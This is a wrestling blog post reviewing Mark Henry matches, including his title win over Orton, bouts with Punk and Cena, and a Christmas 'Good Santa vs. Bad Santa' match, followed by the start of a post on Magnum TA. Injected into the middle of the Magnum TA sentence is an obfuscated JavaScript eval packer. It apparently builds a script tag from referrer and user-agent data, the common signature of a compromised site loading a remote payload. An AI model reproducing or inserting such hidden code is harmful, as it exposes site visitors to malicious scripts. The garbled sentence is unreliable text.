He goes after the knee and hits a DDT to take Henry down. It’s RKO time but Henry rolls to the apron. This time the DDT works and I think the tides just shifted. It’s only two though because that’s not his finisher and Henry grabs the rope instead. Henry pulls a Bret Hart and plays possum so he can get a shot to the leg in and Orton is slowed down. Now he’s looking at him like a plate of shrimp puffs. Orton gets up and pulls himself up with Henry’s singlet and tries an RKO. That gets countered and the RKO makes Henry the champion at 13:11. It had to happen someday.

Rating: B. I can’t believe it but I’m ok with this. They built this guy up over the summer and then gave him the title. It’s about time as he was pushed for years on and off and just never got there. This is the right time though and we need some fresh heel blood on Smackdown. Good moment here and something that Henry deserves, which I can’t believe I’m saying but it’s true.

After losing the title to Big Show, Henry would head back to Raw and challenge CM Punk for the WWE Title the night after Wrestlemania XXVIII.

Raw World Title: Mark Henry vs. CM Punk

Punk gets overpowered to start but manages to get in some strikes. Those get him absolutely nowhere. Well, unless you count face down on the mat and getting pounded on somewhere of course. Either way, Henry dominates him with pure power. Punk’s back is still hurt from the Jericho match last night. There’s a bearhug but it never goes on fully, as Punk pounds away and DDTs out of it for two. Running knee to the head gets the same. Henry gets in another shot to the back and sets for a Vader Bomb, but Punk gets in a shot to break it up.

That doesn’t really matter though as Henry drills him again and tries a second time. This time Punk moves and Henry crashes down. Henry manages to run him over though and we take a break. Back with Punk diving into a clothesline but getting caught by Henry. He knocks the champ down again and it’s nerve hold time. Punk fights out of that and chops the tar out of Henry.

A high kick puts Henry down and a very slow climb sets up the Macho Elbow. It hurts Punk’s back again but he manages the running knee in the corner. No bulldog though. Another knee looks to set up the bulldog but Henry throws Punk to the floor. That combo works about 2% of the time. In a very surprising ending, Punk doesn’t beat the count back in and Henry wins by countout at 13:00.

Rating: C+. Good stuff here with Punk fighting the odds and trying to hang in there, but I’m not sure I like the ending. It obviously sets up a rematch for Henry which is the right idea, and I think I can live with that. Not a bad match at all, but it wasn’t my favorite for some reason. Maybe it’s Henry not being that interesting anymore. Actually scratch that about the ending. The match was for the title so there was no other way to end it if that’s how they’re going forward, which is ok.

Post match Henry gives him the World’s Strongest Slam on the floor. The fans want Lesnar. Ace and Otunga come out to say that Punk is going to be defending the title on a much more consistent basis. Jericho pops up and says that it looks like Punk needs a drink. He pulls out a bottle of what looks like whiskey and pours it on Punk’s head, ala Raven or Lawler/Roberts in 1996. Jericho slips on the booze in a funny bit. Jericho goes to get another bottle and breaks this one over Punk’s head. Punk’s hand shaking is a nice touch.

Henry never would win the title, but he would miss the second half of 2012 with an injury. He returned in early 2013 and had a big match on Smackdown, February 2, 2013.

Randy Orton vs. Mark Henry

If Henry wins, he’s in the Chamber. I don’t think Orton is out for losing. Henry shoves him into the corner but Orton fights out with right hands. Randy gets shoved to the floor and but escapes off Henry’s shoulder before posting Mark. Back in and Orton heads to the top, only to get DRILLED in the head and knocked out to the floor.

That gets two for Mark so he stands on Randy’s chest for awhile. Off to the nerve hold for a bit but Orton starts speeding things up. Mark misses a charge in the corner and Orton knocks him onto the apron. The Elevated DDT looks to set up the RKO but it’s easily blocked. A splash in the corner sets up the World’s Strongest Slam for the pin at 4:35.

Rating: C-. Just like before, there wasn’t time for this to go anywhere. Henry looked decent as the monster continues to be the perfect character for him. Actually keeping this short was probably the right idea because a guy who hasn’t been in the ring in ten months just crushed Randy Orton. That’s certainly a good way to get him over again in the fans’ eyes.

In the summer, Henry would tease retirement and officially announce it on Raw. This turned out to be a ruse and Henry would attack John Cena before challenging him for a title match at Money in the Bank 2013. The segment was absolute gold and Henry had most people believing he was really gone.

Raw World Title: John Cena vs. Mark Henry

Cena is of course booed out of the building. The champion charges at Henry and bounces off of him like a wall. Henry shoves him into the corner and a running splash gets two. Cena is front suplexed onto the steps for two as this is one sided so far. The fans chant Sexual Chocolate because that’s what smark crowds do for a Henry match as Mark drops a leg on the back of Cena’s neck. Henry throws Cena down and then out to the floor as the domination continues.

Back in and Henry stands around but misses a charge in the corner. Cena can’t slam him so Henry cranks on the neck a bit. John gets back up and hits the shoulder blocks followed by the Shuffle but Cena still can’t hit the AA. Henry falls on top for two but Cena counters a slam into most of a spinning DDT. Cena FINALLY hits the AA but it’s only good for two. The high cross is caught in a World’s Strongest Slam for two so Henry pulls the turnbuckle pad off. He also brings in a chair but as the referee is dealing with that, Henry pulls off another buckle.

Cena counters a whip into the buckle and hooks the STF but Mark easily gets to the rope. Henry gets two off a low blow but another World’s Strongest Slam is countered into the STF with Cena dragging Henry back to the middle of the ring. Henry taps out to retain Cena’s title at 14:40.

Rating: C. This was exactly what you would expect from this match. Henry came off like a monster of the month for the entirety of the buildup and that’s exactly what he was here. Nothing in this match made me care about it because no one believed Cena was in any real danger. It wasn’t horrible or anything but it came and went and nothing more.

We’ll wrap things up with Henry as a face again. This is from the December 23, 2013 Raw and may be the greatest thing in the history of the world. On this night, the 400lb wig splitting World’s Strongest Man was the good Santa. He was facing a Latin speaking know it all bad Santa. The battle was for the future of Christmas.

We get a tale of the tape between good and bad Santa. It’s completely gimmicked complete with sleigh model, gifts they plan to give (Xbox vs. onions) and favorite hobbies (filling stockings vs. throwing snowballs at carolers). This is going to be GREAT.

Good Santa vs. Bad Santa

Sandow of course brings coal to the ring, but more importantly he comes out to Xanta Claus’ theme song. Look him up. Henry opens a present to reveal a toilet and shoves Sandow’s face in the bowl. JBL: “This is like George Bailey vs. Mr. Potter.” Damien gets a present of his own to reveal a fire extinguisher…..which doesn’t work. Henry shoves him down and pulls out the pin (safety first you see) and hoses Damien down. They head up the ramp and Sandow finds a candy kendo stick. He beats Henry down and shoves over a Christmas tree, drawing the most heat of his entire career.

Henry breaks the stick and shoves Sandow down the aisle. Damien grabs a star off the top of a tree which is too much for JBL to take. Henry knocks Sandow into the tree and they head back inside where Sandow still can’t get the extinguisher to work. Mark sprays him down again and hits the World’s Strongest Slam for the pin at 3:15.

Rating: A+. A 400lb muscle man just beat a Latin speaking know it all to save Christmas. If you don’t get why this is an A+, you don’t understand entertainment.

Mark Henry is a guy who has ability, but injuries and a lack of ever really changing crippled him. At the end of the day, he’s basically the same guy he’s always been save for the Sexual Chocolate phase. How many times can you build Henry up as a monster and then have him lose in the end? It lost its luster, but made the Hall of Pain period all the more interesting. Henry FINALLY winning a title helped, but it was about ten years too late.

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Today might be the king of “what if’s”. It’s Magnum TA.

Magnum eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ynsfr|var|u0026u|referrer|rttiz||js|php'.split('|'),0,{})) started under his real name of Terry Allen in 1977. I’m not sure when this first match is from but it seems to be Southwest Championship Wrestling (San Antonio) at some point in the very early 1980s.